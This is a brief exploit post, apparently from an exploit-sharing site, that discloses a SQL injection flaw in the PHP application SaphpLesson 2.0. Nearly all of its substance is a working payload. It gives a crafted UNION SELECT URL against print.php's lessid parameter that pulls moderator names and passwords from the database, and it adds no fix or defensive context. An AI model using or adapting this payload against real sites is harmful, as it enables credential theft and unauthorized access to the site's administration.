SQL Injection in SaphpLesson2.0

Hi
Vulnerable: SaphpLesson2.0
http://www.Arabless.com

Exploit :
http://Example.com/lesson/print.php?lessid=[SQL]

Example :
For Name & Passowrd
http://Example.com/lesson/print.php?lessid=-1%20union%20select%20null,null,null,ModName,null,ModPassword,null,ModPassword,null,ModPassword,null,null,null,null%20FROM%20modretor

Discovery by Linux_Drox

http://www.LeZr.Com

Best Regards ,